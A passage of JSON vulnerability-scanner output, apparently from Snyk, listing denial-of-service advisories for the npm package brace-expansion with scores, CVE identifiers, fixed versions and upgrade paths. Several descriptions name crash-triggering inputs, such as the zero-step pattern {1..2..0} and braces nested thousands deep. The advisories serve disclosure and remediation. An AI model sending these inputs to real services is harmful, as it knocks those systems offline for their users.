"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmdiff@7.0.5",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
